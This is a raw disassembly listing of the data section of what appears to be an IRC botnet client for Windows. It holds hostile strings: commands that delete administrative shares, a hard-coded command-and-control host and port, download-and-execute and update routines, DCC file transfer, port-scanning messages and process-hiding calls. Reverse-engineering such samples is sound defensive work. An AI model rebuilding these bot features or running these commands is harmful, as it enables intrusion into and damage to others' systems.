		dd offset loc_42B031
		align 10h
dword_441FE0	dd 19930520h, 3, 442000h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	0
		dd offset loc_43BBA8
		dd 1, 43BBB0h, 2 dup(0)
dword_442020	dd 19930520h, 1, 442040h, 5 dup(0)		dd 0FFFFFFFFh, 43BBE0h,	2 dup(0)
dword_442050	dd 19930520h, 1, 442070h, 5 dup(0)		dd 0FFFFFFFFh, 43BC00h,	2 dup(0)
dword_442080	dd 19930520h, 1, 4420A0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC20h,	2 dup(0)
dword_4420B0	dd 19930520h, 1, 4420D0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	2 dup(0)
dword_4420E0	dd 19930520h, 1, 442100h, 5 dup(0)		dd 0FFFFFFFFh, 43BC60h,	2 dup(0)
dword_442110	dd 19930520h, 6, 442130h, 5 dup(0)		dd 0FFFFFFFFh, 43BC80h,	0FFFFFFFFh, 43BC88h, 0FFFFFFFFh
		dd 43BC90h, 0FFFFFFFFh,	43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh
		dd 43BCA8h, 2 dup(0)
dword_442168	dd 19930520h, 16h, 442188h, 5 dup(0)		dd 0FFFFFFFFh, 43BCD0h,	0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh
		dd 43BCE3h, 0FFFFFFFFh,	43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh
		dd 43BCFEh, 0FFFFFFFFh,	43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh
		dd 43BD16h, 0FFFFFFFFh,	43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh
		dd 43BD31h, 0FFFFFFFFh,	43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh
		dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch,	0Eh, 43BD64h, 0Eh
		dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch,	0Eh, 43BD7Ch, 6	dup(0)
dword_442250	dd 19930520h, 2, 442270h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0FFFFFFFFh, 43BDC8h, 2 dup(0)
dword_442288	dd 19930520h, 2, 4422A8h, 5 dup(0)		dd 0FFFFFFFFh, 43BDE0h,	0
		dd offset loc_43BDEB
		align 10h
dword_4422C0	dd 19930520h, 1, 4422E0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE10h,	2 dup(0)
dword_4422F0	dd 19930520h, 2, 442310h, 5 dup(0)		dd 0FFFFFFFFh, 43BE30h,	0FFFFFFFFh, 43BE38h, 2 dup(0)
dword_442328	dd 19930520h, 0Ah, 442348h, 5 dup(0)		dd 0FFFFFFFFh, 43BE50h,	0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh
		dd 43BE66h, 0FFFFFFFFh,	43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh
		dd 43BE87h, 0FFFFFFFFh,	43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh
		dd 43BEA8h, 0FFFFFFFFh,	43BEB3h, 35Bh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd 106h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_4034E0+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4435EC:				; DATA XREF: sub_4034E0+66o
					; sub_40FF60:loc_41083Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404C70+875o
					; sub_404C70+AF1o ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404C70+831o
					; sub_404C70+B5Eo ...
		align 10h
asc_443600:				; DATA XREF: sub_404640:loc_40471Fo
					; sub_404640+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404640+75o
					; sub_40FF60:loc_410949o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_443684	dd 255C7325h, 73h					; sub_40CF60+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o
		align 8
aN:					; DATA XREF: sub_404C70+D23o
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404C70+977o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404C70+6D2o
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404C70+613o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404C70+447o
					; sub_41C030+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404C70+1A3o
					; sub_404C70+9B1o ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_4066E0+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_406890+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_406890+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_406890:loc_40698Bo
a2003		db '2003',0             ; DATA XREF: sub_406890+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_406890+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_406890+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_406890+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_406890+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_406890+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_406890+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406DEDo
					; ___:00406E35o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406DB0o
					; sub_40EC30+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406D73o
		dd 0
dword_4437EC	dd 6265642Dh, 6775hdword_4437F4	dd 6425h						; ___:004086D8o ...
dword_4437F8	dd 40h							; sub_40FF60+7CCo ...
aHotfix		db 'hotfix',0           ; DATA XREF: sub_407790+394o
		align 4
aTsinternetuser	db 'TsInternetUser',0   ; DATA XREF: sub_407790+383o
		align 8
aAdmin_com	db 'admin.com',0        ; DATA XREF: sub_407790+372o
		align 4
aE10adc3949ba59	db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+361o
		align 4
		dd 0
aAbosal7	db 'abosal7',0          ; DATA XREF: sub_407790+350o
		align 8
aTahy		db 'TAHY-',0            ; DATA XREF: sub_407790+342o
		align 10h
aWintwir	db 'wintwir',0          ; DATA XREF: sub_407790+331o
		dd 0
aMsnnmaneger_ex	db 'msnnmaneger.exe',0  ; DATA XREF: sub_407790+320o
		align 10h
aServec		db 'servec',0           ; DATA XREF: sub_407790+30Fo
		align 4
aS_1		db '#s',0               ; DATA XREF: sub_407790+2FEo
		align 4
aScop		db '#scop#',0           ; DATA XREF: sub_407790+2EDo
		align 4
aSaad		db 'saad',0             ; DATA XREF: sub_407790+2A9o
					; sub_407790+2DCo
		align 4
a7000		db '7000',0             ; DATA XREF: sub_407790+298o
					; sub_407790+2CBo
		align 4
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o
					; sub_407790+2BAo
		align 10h
off_4438C0	dd offset off_43E1D4	; DATA XREF: ___:0043F00Co
		align 8
a_?avexception@	db '.?AVexception@@',0
		align 10h
off_4438E0	dd offset off_43E1D4	; DATA XREF: ___:0043F02Co
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
		dd 2 dup(0)
off_443908	dd offset off_43E1D4	; DATA XREF: ___:0043F04Co
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o
					; ___:0040A971o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B680+3Fo
					; sub_40B700+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B79Fo
		align 10h
aFalse		db 'false',0            ; DATA XREF: ___:0040B844o
		align 4
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao
		align 10h
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BA77o
		align 10h
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040B924o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao
		align 4
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C400+48Ao
		align 10h
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o
		align 10h
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C400+327o
		align 10h
dword_443A30	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C400+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o
		align 4
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o
		align 8
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo
		align 8
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o
		align 8
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o
		align 10h
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CBB0+1B1o
		dd 0
asc_443B04:				; DATA XREF: sub_40CBB0+113o
					; sub_4200F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40CF60+115o
		align 4
aS_2		db '%s\*',0             ; DATA XREF: sub_40CF60+1Fo
		align 10h
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D479o
		align 10h
aBai_0		db ' -bai ',0
		align 4
aSCS		db '%s%c%s',0
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D580+D1o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D580+C4o
		align 10h
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o
		align 10h
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D580+98o
		align 10h
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo
		align 4
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DB40+381o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40ED70+6Ao
		align 8
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40ED70+21o
					; sub_40EF90+Ao ...
		align 4
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F441o
		align 10h
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o
		align 10h
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F289o
		align 8
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo
		align 10h
		dd 0
asc_443C84	db ' :',0               ; DATA XREF: sub_40FF60+E2Bo
					; sub_40FF60+1118o ...
		align 4
asc_443C88:				; DATA XREF: sub_40FF60+CACo
					; sub_40FF60+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_40FF60:loc_410928o
					; sub_40FF60:loc_410BB7o
aS_3		db ' -s',0              ; DATA XREF: sub_40FF60:loc_4108FFo
					; sub_40FF60:loc_410B96o
asc_443C94:				; DATA XREF: sub_40FF60+871o
					; sub_40FF60:loc_410BD8o ...
		unicode	0, <:>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do
					; sub_40FF60+732o ...
		align 8
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_40FF60+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 10h
		dd 0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40FF60+2C4o
					; sub_4126B0+91o ...
		dd 0
dword_443CD4	dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CE4	dd 0A0D7325h, 0						; sub_42D1A0+71o
dword_443CEC	dd 25207325h, 253A2073h, 0A0D73h, 0					; sub_412970+8Fo
dword_443CFC	dd 4255505Bh, 5D43494Ch, 0dword_443D08	dd 4952505Bh, 45544156h, 5Dhdword_443D14	dd 202Eh						; sub_4126B0+E5o
dword_443D18	dd 3A6E616Ch, 20haUptime		db 'uptime',0           ; DATA XREF: ___:loc_412F27o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412ED4o
		align 10h
aId		db 'id',0               ; DATA XREF: ___:loc_412E7Ao
		align 4
asc_443D34:				; DATA XREF: ___:loc_412E63o
		dw 3Ch
		unicode	0, <>,0
asc_443D38:				; DATA XREF: ___:loc_412E4Co
		dw 3Eh
		unicode	0, <>,0
asc_443D3C	db '==',0               ; DATA XREF: ___:loc_412E35o
		align 10h
asc_443D40	db '!=',0               ; DATA XREF: ___:00412E21o
		align 4
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4137E0+B7o
		align 4
aSS_6		db '%s: %s',0           ; DATA XREF: sub_4192C0+312o
		align 4
aSD_0		db '%s: %d',0           ; DATA XREF: sub_4192C0+2EAo
		align 4
aSD_1		db '%s:%d',0            ; DATA XREF: sub_4192C0+272o
					; sub_4192C0+297o
		align 4
aListening	db 'listening',0        ; DATA XREF: sub_4192C0+210o
		align 10h
aEstablished	db 'established',0      ; DATA XREF: sub_4192C0+205o
		align 10h
off_443D80	dd offset dword_504354	; DATA XREF: sub_4192C0+140o
					; ___:0042B302o ...
dword_443D84	dd 2D464544h, 504354h, 0					; sub_4192C0+12Eo
dword_443D90	dd 652Dh	dword_443D94	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o
		align 10h
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419CF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419CCCo
		align 10h
byte_443DD0	db 1			; DATA XREF: sub_41A290r
		align 4
dword_443DD4	dd 2Eh							; ___:0041B235o ...
dword_443DD8	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_443E24:				; DATA XREF: ___:00421759o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_443E38	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E4C	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E84	dd 63257325h, 0						; sub_41F860+E5o
dword_443E8C	dd 72h		dword_443E90	dd 30h							; sub_424840+327o
dword_443E94	dd 3039h	dword_443E98	dd 383631h	dword_443E9C	dd 323931h	dword_443EA0	dd 3631h	dword_443EA4	dd 323731h	dword_443EA8	dd 3031h	off_443EAC	dd offset loc_5C005C	; DATA XREF: ___:0041C117r
					; ___:0041C287r
word_443EB0	dw 0			; DATA XREF: ___:0041C121r
					; ___:0041C291r
		align 4
off_443EB4	dd offset dword_49005C	; DATA XREF: ___:0041C0E6r
					; ___:0041C256r
dword_443EB8	dd 430050h						; ___:0041C25Br
dword_443EBC	dd 24h							; ___:0041C27Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o
		align 4
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D830+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D830+567o
		align 8
asc_443EF8	db 0Dh,0Ah		; DATA XREF: sub_41D830+48Fo
		db 0Dh,0Ah,0
		align 10h
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D830+3F1o
		align 10h
aWb		db 'wb',0               ; DATA XREF: sub_41D830+3C0o
					; ___:0041FC87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D830+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D830+2A3o
		align 4
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D830+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D830+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D830+1CEo
		align 10h
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E37Eo
		align 10h
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E32Fo
		dd 0
dword_443FFC	dd 28737973h, 6F626572h, 29746Fh, 0dword_44400C	dd 6469706Bh, 7325203Ah, 0dword_444018	dd 203A736Bh, 7325hdword_444020	dd 202E6425h, 7325202Fh, 0dword_44402C	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o
		align 10h
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+694o
					; sub_41EF30+6A9o
		align 4
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30:loc_41F595o
					; sub_41EF30+677o
		align 10h
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41EF30+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41EF30+53Fo
		align 10h
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+505o
					; sub_41EF30+51Ao
		align 4
asc_4440A8:				; DATA XREF: sub_41EF30+2EFo
					; sub_41EF30+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+286o
					; sub_41EF30+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+254o
					; sub_41EF30+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+222o
					; sub_41EF30+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+1F3o
					; sub_41EF30+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo
		align 8
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co
		align 4
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FCBDo
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_41FF90:loc_41FFE5o
					; sub_420530+C4r ...
		align 10h
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4200F0+CBo
					; sub_4207E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o
					; sub_4207E0+2BEo
		align 8
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o
		align 8
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420530+52o
		align 10h
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420530+20o
					; sub_420530+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_4207E0+34Co
		align 4
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4207E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o
		align 10h
aThemes		db 'Themes',0           ; DATA XREF: sub_4207E0+1F6o
		align 4
aSrservice	db 'srservice',0        ; DATA XREF: sub_4207E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4207E0+1E0o
		align 10h
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4207E0+1D5o
		align 4
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4207E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4207E0+1BFo
		align 10h
aW32time	db 'W32Time',0          ; DATA XREF: sub_4207E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4207E0+1A9o
		align 4
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4207E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4207E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4207E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4207E0+17Do
		align 8
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4207E0+172o
		align 10h
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4207E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4207E0+15Co
		align 8
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4207E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4207E0+13Bo
		align 10h
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4207E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4207E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4207E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4207E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o
		align 4
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4207E0+F9o
		align 8
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4207E0+EEo
		align 4
aNla		db 'Nla',0              ; DATA XREF: sub_4207E0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_4207E0+D8o
		align 10h
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4207E0+CDo
		align 4
off_44433C	dd offset byte_4D444D	; DATA XREF: sub_4207E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4207E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o
		align 10h
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4207E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4207E0+A5o
		align 10h
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do
		align 10h
		dd 2 dup(0)
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4207E0+95o
		align 8
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4207E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4207E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4207E0+7Do
		align 4
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4207E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4207E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4207E0+65o
		align 4
aBrowser	db 'Browser',0          ; DATA XREF: sub_4207E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4207E0+55o
					; sub_4207E0:loc_420A6Bo
		align 10h
asc_444410:				; DATA XREF: sub_420E10:loc_420ECFo
					; sub_420E10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420E10+94o
					; sub_420E10:loc_42107Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420E10+84o
					; sub_420E10+257o ...
		align 10h
aAsn		db 'asn',0              ; DATA XREF: sub_4227F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_444448	dd 1BDh							; sub_422A40+310o ...
off_44444C	dd offset sub_401811	; DATA XREF: ___:00423E93r
dword_444450	dd 0							; sub_4235F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401811h, 0
		dd 1, 19h dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422A40+8F3o
		db 0
		align 4
		dd 3 dup(0)
aSequential	db 'sequential',0       ; DATA XREF: sub_422A40+8B3o
		align 8
aRandom		db 'random',0           ; DATA XREF: sub_422A40+8ACo
		align 10h
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o
		align 4
		dd 0
aB		db ' -b',0              ; DATA XREF: sub_422A40+747o
off_444580	dd offset dword_612D20	; DATA XREF: sub_422A40+737o
					; sub_422A40+7A3o ...
dword_444584	dd 722D20h						; sub_422A40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o
		align 10h
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422A40+397o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422A40+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422A40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o
		align 10h
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo
		align 8
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o
		align 8
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o
		align 10h
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o
		align 8
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422A40+6Do
		align 4
		dd 0
dword_44467C	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o
		align 10h
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423B25o
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o
		align 10h
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo
		align 8
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao
		align 10h
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423CD6o
		align 10h
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004241D7o
		align 4
		dd 3 dup(0)
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424126o
		dd 3 dup(0)
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042406Fo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_424840+BDo
		align 10h
